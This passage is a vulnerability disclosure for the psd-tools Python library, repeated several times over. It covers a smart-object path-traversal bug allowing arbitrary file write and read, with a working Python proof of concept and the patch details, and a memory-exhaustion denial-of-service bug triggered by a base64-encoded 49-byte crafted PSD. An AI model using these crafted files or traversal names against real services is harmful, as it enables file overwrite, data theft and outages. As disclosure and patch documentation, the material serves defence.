For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

pip install psd-tools==1.17.0
python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())

Output (psd-tools 1.17.0):

[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

• save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
• open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

• Fix PR: https://github.com/psd-tools/psd-tools/pull/657
• Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
• Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179 (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100 (source).
• Distinct in class from the published advisories (GHSA-24p2-j2jr-386w — compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The save() write logic is unchanged since the SmartObject API was introduced, so all releases exposing it are affected.

Summary

PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.

Impact

On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.

Steps to reproduce

# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite()   # commits ~3 GB from a 49-byte file and returns (warning only)

PoC (49 bytes), reconstruct with:

base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF

Verify:

7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826  psd-psdtools-grammar-d23.psd

Root cause

The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.

Suggested fix

Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

